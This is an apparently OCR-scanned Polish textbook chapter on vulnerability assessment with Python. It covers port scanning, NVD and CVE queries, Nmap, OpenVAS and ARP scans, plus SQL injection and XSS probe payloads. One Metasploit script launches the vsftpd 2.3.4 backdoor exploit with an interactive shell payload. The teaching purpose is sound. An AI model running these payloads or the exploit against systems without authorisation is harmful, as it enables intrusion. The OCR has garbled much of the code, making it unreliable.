Ocena podatnosci za pomocg Pythona

Ocena podatnosci jest podstawowym elementem procesu etycznego hakowania, majacym na celu
identyfikacje, klasyfikacje i ustalenie priorytetow luk w systemie. Ten rozdziat ktadzie nacisk na
wykorzystanie Pythona do automatyzacji wykrywania i analizy luk w zabezpieczeniach zaréwno w
sieciach, jak i aplikacjach. Dzieki szczegétowym przyktadom i wyjasnieniom czytelnicy dowiedzg sie, jak
tworzy¢ skrypty Pythona, ktére tacza sie z bazami danych luk w zabezpieczeniach, wykonuja
automatyczne skanowanie i analizujg uzyskane dane. Rozdziat wyposaza czytelnikéw w umiejetnosci
opracowywania niestandardowych narzedzi, ktére mogg znacznie zwiekszy¢ wydajnosé i
kompleksowos$¢é oceny podatnosci.

Wprowadzenie do oceny podatnosci

Ocena podatnosci stanowi podstawowg faze w domenie cyberbezpieczenstwa, skupiajac sie na
systematycznej identyfikacji, kwantyfikacji i ustaleniu priorytetow luk w zabezpieczeniach systemow
komputerowych, sieci i oprogramowania. Gtdwnym celem tego procesu jest okreslenie luk w
zabezpieczeniach, ktére potencjalnie mogg zosta¢ wykorzystane przez ztosSliwe podmioty,
umozliwiajgc tym samym organizacjom zajecie sie tymi stabosciami, zanim zostang wykorzystane w
ataku. W swojej istocie ocena podatnosci opiera sie na ustrukturyzowanym podejsciu do oceny
postawy bezpieczenstwa systemu informacyjnego. Podejscie to mozna ogdlnie podzieli¢ na kilka
kluczowych krokdéw:

* Wstepna ocena: Zbieranie istotnych informacji i planowanie zakresu i celéw oceny.

e |[dentyfikacja podatnosci: Wykorzystanie réznych narzedzi i technik w celu odkrycia i skatalogowania
potencjalnych podatnosci w systemie.

¢ Analiza podatnosci: Ocena zidentyfikowanych podatnosci pod katem ich potencjalnego wptywu i
prawdopodobienstwa wykorzystania.

¢ Ocena ryzyka: Kwantyfikacja ryzyka zwigzanego z kazdg podatnoscig, biorgc pod uwage potencjalne
szkody i prawdopodobienstwo wystapienia.

e tagodzenie i naprawa: Zalecanie i wdrazanie srodkédw w celu ztagodzenia lub wyeliminowania
zidentyfikowanych podatnosci.

® Raportowanie: Dokumentowanie ustalen, ocen i zalecen w kompleksowym raporcie.

Uzycie Pythona w ocenie podatnosci jest motywowane bogatym ekosystemem bibliotek i struktur
jezyka dostosowanych do sieci, web scrapingu i automatyzacji — wszystkie integralne komponenty w
identyfikacji i analizie podatnosci. Prostota i czytelnos¢ Pythona oznaczajg rowniez, ze niestandardowe
narzedzia i skrypty moga byé szybko opracowywane i wdrazane, co pozwala na dynamiczne i
responsywne podejscie do oceny podatnosci. Zilustrujmy uzycie Pythona w analizie podatnosci
prostym przyktadem, ktéry skanuje sie¢ w poszukiwaniu otwartych portéw, co moze wskazywac na
potencjalne podatnosci:

1 import socket

2

3def scan_open_ports(target, ports):
4print(f "Scanning {target} for open ports:")

5for port in ports:



6s = socket. socket(socket.AF_INET, socket.SOCK.STREAM)
7socket.setdefaulttimeout( 1)

8result = s.connect_ex((target, port))

9if result ==0:

10print(f"Port {port} is open")

11s.close()

1213# Example usage

14 scan_open_ports('example.com’, [22,80,443])

Po wykonaniu dane wyjsciowe mogg wyglgdac nastepujaco:
Skanowanie example.com w poszukiwaniu otwartych portéw: Port 22 jest otwarty
Port 80 jest otwarty

Port 443 jest otwarty

W kontekscie oceny podatnosci otwarte porty stanowig tylko jedng kategorie podatnosci. S jednak
pouczajgcym przyktadem tego, jak Python moze by¢é pomocny w automatyzacji wykrywania
potencjalnych stabosci bezpieczeristwa. W kolejnych sekcjach zagtebimy sie w rdzne typy podatnosci,
ktére mozna zidentyfikowaé i oceni¢ za pomocg Pythona, i zbadamy rozwdj bardziej ztozonych
skryptow i narzedzi do kompleksowej oceny podatnosci.

Zwigzek miedzy oceng podatnosci a hakowaniem etycznym

Ocena podatnosci i hakowanie etyczne to uzupetniajace sie procesy, ktére razem tworzg kompleksowe
podejScie do bezpieczenstwa systemu. Podczas gdy ocena podatnosci koncentruje sie na
identyfikowaniu, klasyfikowaniu i ustalaniu priorytetdw luk w systemie, hakowanie etyczne idzie o krok
dalej, prébujac wykorzystad te luki w celu okreslenia rzeczywistego narazenia systemu na ataki. W tej
sekcji oméwiona zostanie integralna rola, jakg ocena podatnosci odgrywa w szerszym kontekscie
hakowania etycznego, oraz w jaki sposdb Python moze byé wykorzystywany do automatyzacji i
ulepszania tych proceséw. Ocena podatnosci stanowi podstawe hakowania etycznego. Zapewnia jasng
i uporzadkowang metode identyfikacji stabosci w systemie. Bez kompleksowego zrozumienia
podatnosci systemu, dla hakera etycznego bytoby trudne skuteczne namierzanie i wykorzystywanie
stabosci. Dlatego ocene podatnosci mozna postrzegac jako pierwszy krok w procesie hakowania
etycznego. Celem jest skompilowanie doktadnego spisu luk w zabezpieczeniach przed podjeciem
jakiejkolwiek préby ich wykorzystania. Proces oceny podatnosci mozna ogdlnie podzieli¢ na cztery
etapy:

e Identyfikacja: Wykorzystanie narzedzi i skryptéw, czesto opracowanych w Pythonie, do skanowania
systemoéw, sieci i aplikacji pod katem znanych luk.

e Klasyfikacja: Kategoryzacja i ranking zidentyfikowanych luk w oparciu o ich charakter i potencjalny
wptyw.

e Priorytetyzacja: Ranking luk w kolejnosci waznosci lub potencjalnych szkéd, co wyznacza kierunek
dalszych dziatan etycznego hakowania.



* Raportowanie: Kompilacja ustalen w szczegétowych raportach, ktére mozna wykorzysta¢ do dalszej
analizy i dziatan.

Kompleksowy charakter tego procesu podkresla znaczenie narzedzi automatyzacji. Python, z jego
rozlegtym ekosystemem bibliotek i przydatnoscig do szybkiego rozwoju, jest doskonatym wyborem do
tworzenia niestandardowych narzedzi do oceny podatnosci. Narzedzia te mogg automatyzowac proces
skanowania, wchodzi¢ w interakcje z bazami danych podatnosci w celu pobierania aktualnych
informacji i generowaé raporty. Hakerstwo etyczne wykorzystuje ustalenia z oceny podatnosci i
wykorzystuje je do symulacji technik atakujgcych. Symuluje to ataki w $wiecie rzeczywistym, ale w
kontrolowanym i konsensualnym srodowisku. W ten sposdb ujawnia praktyczne implikacje podatnosci
i zapewnia miare odpornosci systemu na ataki. Skrypty Pythona mogg by¢ rowniez wykorzystywane w
tej fazie w celu automatyzacji eksploatacji podatnosci zidentyfikowanych podczas fazy oceny. Ta
synergia miedzy oceng podatnosci a hakowaniem etycznym ma kluczowe znaczenie dla kompleksowej
strategii bezpieczenstwa. Zwigzek miedzy oceng podatnosci a hakowaniem etycznym nie jest
jednokierunkowy. Wnioski uzyskane z etycznego hakowania mogg by¢ wykorzystane w procesie oceny
podatnosci, co prowadzi do cyklu ciggtego doskonalenia. Na przykfad niekonwencjonalna metoda
wykorzystania podatnosci odkrytej podczas ¢wiczenia etycznego hakowania moze doprowadzi¢ do
udoskonalenia narzedzi i technik oceny podatnosci w celu lepszego wykrywania takich metod w
przysztosci. Synergia miedzy oceng podatnosci a etycznym hakowaniem stanowi podstawe solidnej
strategii obrony cyberbezpieczenstwa. Elastycznos$¢ Pythona i szerokos¢ dostepnych bibliotek
sprawiajg, ze jest on niezbednym narzedziem do automatyzacji zadah w ramach obu procesdw,
zwiekszajgc tym samym wydajnos¢ i skuteczno$é ocen bezpieczenstwa.

Konfigurowanie srodowiska dla narzedzi wykrywania luk w zabezpieczeniach z Pythonem

Aby skutecznie wykorzysta¢ Pythona do oceny luk w zabezpieczeniach, warunkiem wstepnym jest
odpowiednio skonfigurowane s$rodowisko. Obejmuje to zainstalowanie samego Pythona,
skonfigurowanie dedykowanego srodowiska wirtualnego, zainstalowanie niezbednych bibliotek i
narzedzi oraz zapewnienie zgodnosci z roznymi bazami danych luk w zabezpieczeniach i narzedziami
skanujgcymi, ktore bedg interfejsowane w tej sekcji.

Instalowanie Pythona

Pierwszym krokiem jest instalacja Pythona. Zalecany jest Python 3.x ze wzgledu na jego nowoczesne
funkcje i rozszerzone wsparcie. Instalacje mozna wykona¢ za posrednictwem oficjalnej strony
internetowe] Pythona lub za posrednictwem menedzera pakietéw specyficznego dla Twojego systemu
operacyjnego. W przypadku uzytkownikow Linuksa i macOS Python jest czesto instalowany wstepnie,
chociaz moze wymagac aktualizacji:

1 # For macOS

2 brew install python

3

4 # For Debian-based Linux distributions
5 sudo apt-get update

6 sudo apt-get install python3

Tworzenie srodowiska wirtualnego



Po zainstalowaniu Pythona dobrg praktyka jest utworzenie srodowiska wirtualnego dla narzedzi oceny
podatnosci. Srodowisko wirtualne to odizolowana konfiguracja Pythona, w ktérej mozna instalowac
biblioteki i wykonywac skrypty bez wptywu na globalng instalacje Pythona. Mozna to osiggnac za
pomocg modutu venv:

1 python3 -m venv venv_assessment
2 source venv_assessment/bin/activate

Po aktywacji monit wiersza polecen zmieni sie, wskazujgc, ze pracujesz teraz w Srodowisku wirtualnym.
W tym srodowisku zainstalujesz dodatkowe pakiety i uruchomisz skrypty Pythona.

Instalowanie wymaganych bibliotek

Po aktywowaniu sSrodowiska wirtualnego zainstaluj niezbedne biblioteki Pythona do oceny podatnosci.
Biblioteki te udostepniajg funkcje do komunikacji sieciowej, analizy danych i tgczenia sie z interfejsami
API:

1 pip install requests beautifulsoup4 python-nma

Tutaj requests jest uzywane do wysytania zagdan HTTP do ustug sieciowych, beautifulsoup4 do
parsowania dokumentéw HTML i XML, a python-nmap do programowej interakcji ze skanerem portéw
Nmap.

Konfigurowanie dostepu do baz danych luk

Wiele narzedzi do oceny luk opiera sie na bazach danych, ktére katalogujg znane luki, takich jak
National Vulnerability Database (NVD) lub lista Common Vulnerabilities and Exposures (CVE). Aby
uzyska¢ dostep do tych baz danych za posrednictwem odpowiednich interfejséw APl, moze by¢
wymagana rejestracja w celu uzyskania klucza API:

¢ Odwiedz oficjalng strone internetowa bazy danych luk.
e Zakoncz proces rejestracji i zanotuj podany klucz API.

e Przechowuj klucz API bezpiecznie w swoim projekcie, najlepiej jako zmienng srodowiskowg lub w
pliku konfiguracyjnym, ktéry nie jest uwzgledniony w kontroli wersji.

Integrowanie skaneréw luk

Na koniec, integracja skaneréw luk typu open source ze srodowiskiem Python rozszerza jego
mozliwosci. Narzedzia takie jak OpenVAS i Nmap mozna zainstalowaé osobno i wywotac ze skryptow
Pythona za pomocg wywotan systemowych lub poprzez ich opakowania Pythona, jesli sg dostepne. W
przypadku Nmapa, wczesniej zainstalowana biblioteka python-nmap stuzy temu celowi, umozliwiajgc
uruchamianie skanéw i analizowanie ich wynikow bezposrednio w skryptach Pythona:

1 mport nmap

2

3 scanner = nmap.PortScanner()

4 scanner.scan(’'192.168.1.1’, '22-443’)
5

6 for host in scanner.all_hosts():



7 print("Host: %s (°/0s)' % (host, scanner[host].hostname()))
8 print('State : %s’ % scanner[host].state())1

Ta konfiguracja stanowi podstawe do opracowywania kompleksowych narzedzi do oceny podatnosci
przy uzyciu jezyka Python. Podkresla ona znaczenie czystego, odizolowanego srodowiska
programistycznego, dostosowanego do wszystkich niezbednych zaleznosci, w celu wydajnej i
skutecznej analizy podatnosci.

Korzystanie z jezyka Python do interakcji z bazami danych podatnosci

Interakcja z bazami danych podatnosci jest kluczowym krokiem w procesie identyfikacji podatnosci w
systemie. Bazy te dostarczajg bogactwa informacji o znanych podatnosciach, w tym ich powadze,
wptywie i strategiach fagodzenia. Python, dzieki bogatemu zestawowi bibliotek i prostocie, jest
doskonatym narzedziem do przeszukiwania tych baz danych w celu pobrania niezbednych danych do
zadan oceny podatnosci. Jedng z najbardziej znanych baz danych podatnosci jest National Vulnerability
Database (NVD), ktéra zapewnia kompleksowy katalog luk w zabezpieczeniach. Aby nawigzac interfejs
z takimi bazami danych, programisci jezyka Python mogg uzyé biblioteki zadan do wysytania zgdan
HTTP do interfejsdw APl RESTful udostepnianych przez te bazy danych. Zacznijmy od zainstalowania
biblioteki zgdan, jesli jeszcze jej nie zainstalowano:

1 pip install requests

Po zainstalowaniu mozesz zaczgc pisac skrypt Pythona, ktory wysyta zgdanie HTTP GET w celu pobrania
danych z NVD. Punktem koncowym APl NVD do pobierania luk  jest
,https://services.nvd.nist.gov/rest/json/cves/1.0”.

1 import requests

2

3 def fetch_vulnerabilities():

4 nvd_api_url ="'
https://services.nvd.nist.gOv/rest/json/cves/I.0’
5 response = requests.get(nvd_api_url)

6 if response.status_code == 200:

7 return response.json()

8 else:

9 return None

10

11 vulnerabilities = fetch_vulnerabilities()
12 if vulnerabilities:

13 print(vulnerabilities)

14 else:

15 print("Failed to fetch vulnerabilities")



Ten skrypt wysyta zgdanie HTTP GET do interfejsu APl NVD i drukuje pobrane luki w formacie JSON.
Kontrola response.status_code zapewnia, ze zgdanie zakonczyto sie powodzeniem przed prébg analizy
odpowiedzi JSON. Scenariusze z zycia wziete czesto wymagajg bardziej wyrafinowanych zapytan, takich
jak filtrowanie luk wedtug okreslonych kryteriow. Mozna to osiggnaé, dotgczajgc parametry zapytania
do adresu URL. Na przyktad, aby filtrowaé luki opublikowane w 2021 r., mozna zmodyfikowac
nvd_api_url w nastepujacy sposob:

1 nvd_api_url = "https://services.nvd.nist.gov/rest/json/cves/1.0?pubStartDate=2021-01-
01T00:00:00:000 UTC&pubEndDate=2021-12- 31T23:59:59:000 UTC

Odpowiedz JSON zawiera mnéstwo informacji o kazdej podatnosci, ale moze by¢ przyttaczajgca. Aby
wyodrebnic¢ i wyswietli¢ okreslone informacje, takie jak identyfikator CVE, opis i powaga, mozesz
przeanalizowad strukture JSON:

1 import json

2

3 def parse_vulnerabilities(vulnerabilities):

4 for item in vulnerabilities['result’]['CVE_Items']:

5 cve_id = item['cve’]['CVE_data_meta’]['ID’]

6 description = item[’cve'][’description']['description_data’][0]['value']

7 severity = item[’ impact’]['baseMetricV2’][’severity’] if’ baseMetricV2’ in item['impact’] else 'N/A’
8 print(f"CVE ID: {cve_id}, Description: {description}, Severity: {severity}")
9

10 vulnerabilities = fetch_vulnerabilities()

11 if vulnerabilities:

12 parse_vulnerabilities(vulnerabilities)

13 else:

14 print("Failed to fetch vulnerabilities")

W powyzszym skrypcie funkcja parse_vulnerabilities iteruje liste luk, wyodrebniajac i drukujgc
identyfikator CVE, opis i powage kazdej luki. Nalezy pamietaé, ze skrypt zaktada obecnos¢ pewnych
kluczy w strukturze JSON i moze wymagac¢ dostosowan w zaleznosci od specyfiki odpowiedzi i
dostepnych informacji. Interakcja z bazami danych luk w zabezpieczeniach za posrednictwem Pythona
nie tylko automatyzuje proces pobierania danych, ale takze umozliwia dostosowywanie i filtrowanie
danych na podstawie okreslonych wymagan. Ta mozliwo$é stanowi podstawe do tworzenia bardziej
ztozonych narzedzi do oceny luk w zabezpieczeniach, przygotowujgc grunt pod automatyczne
skanowanie i analizy, ktére zostang omdéwione w kolejnych sekcjach.

Tworzenie skryptow w celu wykrywania typowych luk w zabezpieczeniach

Tworzenie skryptéw w celu wykrywania typowych luk w zabezpieczeniach obejmuje zrozumienie
typdw luk, ktére sg powszechne w dzisiejszych sSrodowiskach obliczeniowych i wykorzystanie bibliotek
i mozliwosci Pythona do opracowywania narzedzi, ktére mogg identyfikowa¢ te Iluki w



zabezpieczeniach. Ta sekcja koncentruje sie na rozwoju skryptéw Pythona, ktdore automatyzujg
wykrywanie typowych luk w ustugach sieciowych, aplikacjach internetowych i systemach
oprogramowania. Na poczatek ustalmy podstawowe zrozumienie typowych luk, ktére te skrypty majg
na celu wykrywac. Luki te czesto obejmujg, ale nie ograniczajg sie do, wstrzykiwania kodu SQL, Cross-
Site Scripting (XSS), przepetnienia bufora i btedne konfiguracje w ustugach sieciowych.

Identyfikowanie luk w zabezpieczeniach przed wstrzyknieciem kodu SQL

Wstrzykniecie kodu SQL to powszechny wektor ataku, ktéry wykorzystuje nieprawidtowg dezynfekcje
danych w polach wejsciowych aplikacji internetowych, umozliwiajgc atakujgcym manipulowanie
zapytaniami SQL. Skrypt Pythona zaprojektowany do wykrywania luk w zabezpieczeniach przed
wstrzyknieciem kodu SQL moze zautomatyzowal proces wysytania réznych nieprawidtowo
sformatowanych zapytan SQL do pdl wejsciowych aplikacji docelowej i analizowania odpowiedzi pod
katem wskazan przed wstrzyknieciem kodu SQL.

limport requests

2

3 def test_sql_injection(url):

4 payload =""OR T="I"

5 vulnerable = False

6 try:

7 response = requests.get(f"{url}?input={payload}")

8 if "Welcome back" in response.text or "logged in" in response.text:
9 vulnerable = True

10 except requests.exceptions.RequestException as e:

11 print(f "Testing failed due to: {e}")

12 return vulnerable

13

14 url=""

http://example.com/login

15 if test_sql_injection(url):

16 print(f "The website {url} is vulnerable to SQL Injection.")

17 else:

18 print(f "The website {url} is not vulnerable to SQL Injection.")
Wykrywanie atakdéw typu Cross-Site Scripting (XSS)

Luki typu Cross-Site Scripting (XSS) wystepujg, gdy aplikacja zawiera niezaufane dane na stronie
internetowe] bez odpowiedniej walidacji lub ucieczki. Skrypt wykrywajgcy ataki typu XSS moze



automatyzowad przesytanie danych zawierajacych kod JavaScript do aplikacji i sprawdzaé, czy
JavaScript jest wykonywany w odpowiedzi.

1 import requests

2

3 def test_xss(url):

4 payload = "< script >alert(’XSS’)</script >"

5 vulnerable = False

6 try:

7 response = requests.post(url, data={"input":payload})
8 if payload in response.text:

9 vulnerable = True

10 except requests.exceptions.RequestException as e:
11 print(f "Testing failed due to: {e}")

12 return vulnerable

13

14 url = ""http://example.com/comment

15 if test_xss(url):

16 print(f "The website {url} is vulnerable to Cross-Site Scripting (XSS).")
17 else:

18 print(f "The website {url} is not vulnerable to XSS.")
Automatyzacja wykrywania przepetnien bufora

Luki w zabezpieczeniach zwigzane z przepetnieniem bufora wystepuja, gdy aplikacja zapisuje do bufora
wiecej danych, niz jest mu przydzielone, co potencjalnie prowadzi do wykonania dowolnego kodu.
Programowe wykrywanie przepetnien bufora moze obejmowaé wysytanie fadunkéw danych
przekraczajgcych oczekiwang dtugos¢ i monitorowanie zachowania aplikacji pod katem oznak awarii
lub nieoczekiwanego zachowania. Ze wzgleddéw etycznych i logistycznych podanie bezposredniego
przyktadu skryptu dla przepetnied bufora wykracza poza zakres tego tekstu. Jednak podstawowa
koncepcja obejmuje automatyczne generowanie danych wejsciowych o réznej dtugosci i znakach,
monitorowanie aplikacji docelowe]j pod katem oznak awarii lub nieoczekiwanego zachowania.

Skanowanie w poszukiwaniu nieprawidtowo skonfigurowanych ustug sieciowych

Nieprawidtowo skonfigurowane ustugi sieciowe mogg wprowadzac znaczace luki w zabezpieczeniach
systemu. Skrypty Pythona moga wykorzystywac biblioteki, takie jak socket, do interakcji z ustugami
sieciowymi, wysyta¢ spreparowane tadunki i analizowaé odpowiedzi w celu identyfikacji
nieprawidtowych konfiguracji, ktére moga wskazywacé na stabosci zabezpieczen.

1 import socket



2

3 def test_service(ip, port):

4 try:

5 with socket.socket(socket.AF_INET, socket.SOCK.STREAM) as s:
6 s.connect((ip, port))

7 s.sendall(b’Hello, world’)

8 data =s.recv(1024)

9 print(f"Received {data’r}")

10 except socket.error as e:

11 print(f "Failed to connect or send data: {e}")
12

13ip="192.168.1.1"

14 port = 80

15 test_service(ip, port)

W tej sekcji oméwilismy rozwdj skryptow Pythona w celu wykrywania typowych luk w
zabezpieczeniach, takich jak wstrzykniecie SQL, XSS, przepetnienia bufora i btedne konfiguracje w
ustugach sieciowych. Dzieki zrozumieniu i zautomatyzowaniu wykrywania tych luk specjalisci ds.
cyberbezpieczedstwa mogg skutecznie identyfikowac i tagodzi¢ potencjalne stabosci bezpieczenstwa
w swoich systemach.

Integrowanie narzedzi Open Source z Pythonem w celu przeprowadzenia kompleksowej oceny

W dziedzinie oceny podatnosci wykorzystanie narzedzi Open Source moze znacznie zwiekszy¢ zakres i
gtebokosc¢ analizy bezpieczestwa. Python, dzieki swoim rozbudowanym bibliotekom i prostej sktadni,
stanowi idealng platforme do integracji tych narzedzi w spdjne ramy. W tej sekcji omoéwiono, jak
potgczyé Pythona z wiodgcymi narzedziami Open Source w celu przeprowadzenia kompleksowej oceny
podatnosci. Narzedzia Open Source do zabezpieczania oferujg szeroki zakres funkcjonalnosci, od
skanowania sieci po testowanie podatnosci aplikacji. Takie narzedzia obejmujg Nmap do wykrywania
sieci i audytu bezpieczenstwa, Metasploit do testowania penetracyjnego i OpenVAS do skanowania
podatnosci, miedzy innymi. Python moze automatyzowad interakcje tych narzedzi, agregowac ich
wyniki i stosowac dalszg analize, wzbogacajgc w ten sposéb proces oceny podatnosci.

Interakcja z Nmap za pomocga Pythona

Nmap (Network Mapper) to bezptatne i otwarte narzedzie do wykrywania sieci i audytu
bezpieczenstwa. Biblioteka python-nmap Pythona umozliwia integracje z Nmap, umozliwiajgc
automatyczne skanowanie sieci i analize wynikdw w skryptach Pythona. Aby wykonac proste
skanowanie Nmap za pomocg Pythona, mozesz wykorzystaé nastepujgcy fragment kodu:

limport nmap

2



3# Create an Nmap scanner instance

4nm = nmap.PortScanner()

5

6# Specify the target and type of scan
7nm.scan(’127.0.0.1','22-443’)

8

O# Iterate over all scanned hosts

10for host in nm.all_hosts():

11print("Host: %s (%s)' % (host, nm[host].hostname()))
12print(’State : %s’ % nm[host].state())

Kod wykonuje skanowanie na komputerze lokalnym dla portéw od 22 do 443. Kolejne konstrukcje
iteracyjne drukuja stan kazdego napotkanego hosta podczas skanowania. Mozliwos¢ interakgcji
Pythona z Nmap umozliwia automatyczne skanowanie réznych podsystemdw w sieci organizacji, co
usprawnia wykrywanie luk w zabezpieczeniach sieciowych.

Automatyzacja operacji Metasploit za pomocg Pythona

Metasploit, framework do testéw penetracyjnych typu open source, utatwia wykrywanie luk w
zabezpieczeniach. Biblioteka Pythona pymetasploit3 oferuje bezposredni sposdb programowego
kontrolowania mozliwosci Metasploit. Ponizszy przyktad pokazuje, jak wykorzysta¢ Pythona do
automatyzacji wykonywania exploita za pomocg Metasploit:

1 from pymetasploit3.msfrpc import MsfRpcClient

2

3 client = MsfRpcClient(’password’, port= 55552)

4

5 exploit = client.modules.usefexploit’, "unix/ftp/vsftpd_234 backdoor’)
6 exploit/RHOSTS’] ="192.168.1.101’

7 payload = client.modules.use(’payload’, ‘cmd/unix/interact’)

8 payload['LHOST’] ="192.168.1.100’

9

10 exploit.execute(payload=payload)

Ten skrypt konfiguruje i uruchamia exploit na maszynie docelowej, pokazujac, w jaki sposéb Python
moze usprawnic proces eksploatacji w ramach oceny podatnosci.

Wykorzystywanie OpenVAS do skanowania podatnosci

OpenVAS to kompleksowe narzedzie do skanowania podatnosci, ktére mozina zintegrowac z
przeptywami pracy Pythona przy uzyciu pakietu gvm-tools. Dzieki tej integracji skrypty Pythona moga



inicjowad skanowanie, zbiera¢ wyniki i analizowa¢ dane w celu identyfikacji potencjalnych podatnosci.
Przyktad inicjowania skanowania za pomocg OpenVAS za posrednictwem Pythona jest nastepujacy:

1.from gvm.connections import UnixSocketCormection
2 from gvm.protocols.latest import Gmp

3

4 # Establish a connection to the OpenVAS scanner

5 connection = UnixSocketConnection()

6 with Gmp(connection) as gmp:

7 # Authenticate

8 gmp.authenticate('user’, 'password')

9

10 # Initiate a scan

11 gmp.start_task(task_id='dOc4cl51-6dff-4b62-8a63-a9336f566a59’)

Ta demonstracja przedstawia inicjacje wstepnie zdefiniowanego skanowania podatnosci, pokazujac
potencjat automatyzacji rutynowych skandéw i kompleksowych ocen. Integracja narzedzi open source
z Pythonem zapewnia elastyczne i wydajne podejscie do przeprowadzania ocen podatnosci. taczac
mocne strony narzedzi takich jak Nmap, Metasploit i OpenVAS z mozliwosciami skryptowania Pythona,
specjalisci ds. bezpieczeristwa mogg automatyzowac szczegdtowe analizy, usprawniac przeptyw pracy
oceny podatnosci i osiggac bardziej kompleksowg postawe bezpieczeristwa. Ta metodologia podkresla
strategiczng zalete integrowania wszechstronnych narzedzi za posrednictwem Pythona w celu
zwiekszenia skutecznosci ocen podatnosci.

Automatyzacja skanowania podatnosci za pomoca Pythona

Automatyzacja skanowania podatnosci jest kluczowa strategig w zwiekszaniu wydajnosci i skutecznosci
obron cyberbezpieczenstwa. Python, ze wzgledu na swojg wszechstronnos$é i szerokie wsparcie ze
strony swojej spotecznosci, stuzy jako doskonate narzedzie do tego celu. W tej sekcji omowiona
zostanie metodologia automatyzacji skanowania luk w zabezpieczeniach przy uzyciu jezyka Python, ze
szczegblnym uwzglednieniem podstaw tworzenia skryptéw do oceny luk w zabezpieczeniach sieci i
aplikacji. Na poczatek kluczowe jest zrozumienie planu ramowego automatyzacji. Obejmuje to
okreslenie celéw skanowania, w tym docelowych systeméw lub aplikacji, typéw Iluk w
zabezpieczeniach do wyszukania i oczekiwanego wyniku. Ponadto rozwazenie implikacji etycznych i
prawnych ma kluczowe znaczenie podczas automatyzacji skanowania w celu zapewnienia zgodnosci z
obowigzujgcymi przepisami i normami.

Tworzenie podstawowego skanera luk w zabezpieczeniach w Pythonie

Prosty skaner luk w zabezpieczeniach mozna utworzy¢ za pomocg Pythona, wykorzystujac istniejgce
biblioteki, takie jak Scapy, do operacji sieciowych lub zadan aplikacji internetowych. Pierwszym
krokiem jest nawigzanie pofaczenia z celem, a nastepnie wykorzystanie réznych technik w celu
zidentyfikowania luk w zabezpieczeniach.

1 import scapy.all as scapy



2

3 def scan(ip):

4 arp_request = scapy.ARP(pdst=ip)

5 broadcast = scapy.Ether(dst="ff:ff.ff.ff.ff.ff")

6 arp_request_broadcast = broadcast/arp_request

7 answeredjist = scapy.srp(arp_request_broadcast, timeout= 1, verbose=False)[0]
8

9 for element in answeredjist:

10 print("IP:" + element[l].psrc + " MAC:" + element[l].hwsrc)
11

12# Example usage

13 scan("192.168.0.1/24")

Powyzszy skrypt wykonuje proste skanowanie sieci w celu zidentyfikowania adreséw IP i MAC urzadzen
w okreslonym zakresie. Podobne podejscia mozna dostosowac do réznych typéw skanowania, w tym
skanowania portow, identyfikacji luk w zabezpieczeniach lub wykrywania podejrzanych dziatan.

Interakcja z bazami danych luk w zabezpieczeniach

Aby przeprowadzi¢ bardziej zaawansowang ocene luk w zabezpieczeniach, narzedzie musi by¢ w stanie
identyfikowac znane luki w zabezpieczeniach w systemach docelowych lub aplikacjach. Wigze sie to z
interakcjg z bazami danych luk w zabezpieczeniach lub interfejsami API, takimi jak baza danych
Common Vulnerabilities and Exposures (CVE). Biblioteka ,requests” jezyka Python moze ufatwic
komunikacje z takimi bazami danych w celu pobierania danych o lukach w zabezpieczeniach w czasie
rzeczywistym.

1 import requests

2

3 def fetch_vulnerability_details(cve_id):
4 response = requests.get(f "")
http://cve.circl.lu/api/cve/{cve_id}
5 if response.status_code == 200:
6 return response.json()

7 else:

8 return None

9

10 # Example usage

11 vulnerability _details = fetch_vulnerability_details('CVE-2021-44228’)



12 if vulnerability-details is not None:
13 print(vulnerability_details)
Automatyzacja procesu skanowania

Dzieki mozliwosci wykrywania urzadzen i identyfikowania luk w zabezpieczeniach, kolejnym krokiem
jest automatyzacja catego procesu. Wigze sie to z planowaniem skanowania, wykonywaniem go bez
ingerencji cztowieka i systematycznym rejestrowaniem wynikéw. Biblioteki Pythona ,schedule” i
,threading” okazujg sie w tym celu przydatne. Biblioteki ,schedule” mozna uzywaé do planowania
okresowych skandw, podczas gdy ,,threading” pozwala skanerowi dziata¢ w tle lub réwnolegle z innymi
zadaniami.

1 import schedule

2 import time

3 import threading

4

5 defjob():

6 print("Performing the vulnerability scan...")

7 # Place the scan function here

8

9 def run_threaded(job_func):

10 job_thread = threading.Thread(target=job_func)
11 job_thread.start()

12

13 schedule.every().day.at("01:00").do(run_threaded, job)
14

15 while True:

16 schedule.run_pending()

17 time.sleep(l)

Analiza i analiza wynikéw skanowania

Ostatni krok automatyzacji obejmuje analize danych uzyskanych ze skanéw, ich analize w celu
klasyfikowania i ustalania priorytetéw luk w zabezpieczeniach, a nastepnie generowanie uzytecznych
spostrzezen. Biblioteki manipulacji danymi Pythona, takie jak Pandas, moga by¢ pomocne w tej fazie.

1 import pandas as pd
2
3 # Assuming scan-results is a list of dictionaries with scan data

4 scan_results = [{'IP': '192.168.1.1", 'Vulnerability': 'CVE-2021-44228', 'Severity': 'High'}]



5
6 df = pd.DataFrame(scan_results)
7 print(df)

Ta prosta demonstracja stanowi podstawe do budowania ztozonych narzedzi oceny podatnosci
dostosowanych do konkretnych potrzeb organizacji. Zintegrowanie dodatkowych funkgcji, takich jak
alerty w czasie rzeczywistym, kompleksowe mechanizmy raportowania i Sledzenie napraw, moze
znacznie zwiekszy¢é wartos¢ narzedzia w utrzymywaniu solidnych postaw cyberbezpieczenstwa.
Prostota Pythona i bogactwo jego ekosystemu sprawiaja, ze jest to niezréwnane narzedzie do
automatyzacji skanowania podatnosci. Wykorzystujgc moc istniejgcych bibliotek i interfejséw API,
specjalisci ds. cyberbezpieczenstwa mogg konstruowac dostosowane rozwigzania, ktére usprawniajg
proces oceny podatnosci, wzmacniajac w ten sposéb ich obrone przed cyberzagrozeniami.

Analiza i parsowanie danych skanowania luk w zabezpieczeniach za pomocg Pythona

Analizowanie i parsowanie danych ze skanowania luk w zabezpieczeniach jest kluczowym krokiem w
procesie oceny luk w zabezpieczeniach. Ten krok przeksztatca surowe dane skanowania w praktyczne
spostrzezenia, umozliwiajac identyfikacje luk w zabezpieczeniach systemoéw lub aplikacji. Python,
dzieki swojemu solidnemu zestawowi bibliotek i prostocie, oferuje idealng platforme do obstugi tego
zadania. Ta sekcja obejmuje sposdb parsowania i analizowania danych skanowania luk w
zabezpieczeniach za pomocg Pythona, skupiajgc sie na typowych formatach danych i metodologiach
wyodrebniania i interpretowania wynikéw skanowania. Na poczatek wiekszo$¢ narzedzi do
skanowania luk w zabezpieczeniach eksportuje dane w standardowych formatach, takich jak XML,
JSON lub CSV. Formaty te sg zaréwno czytelne dla cztowieka, jak i parsowalne przez maszyne, dzieki
czemu nadajg sie do automatycznej analizy za pomocg Pythona. Wybdr biblioteki, ktérej nalezy uzy¢
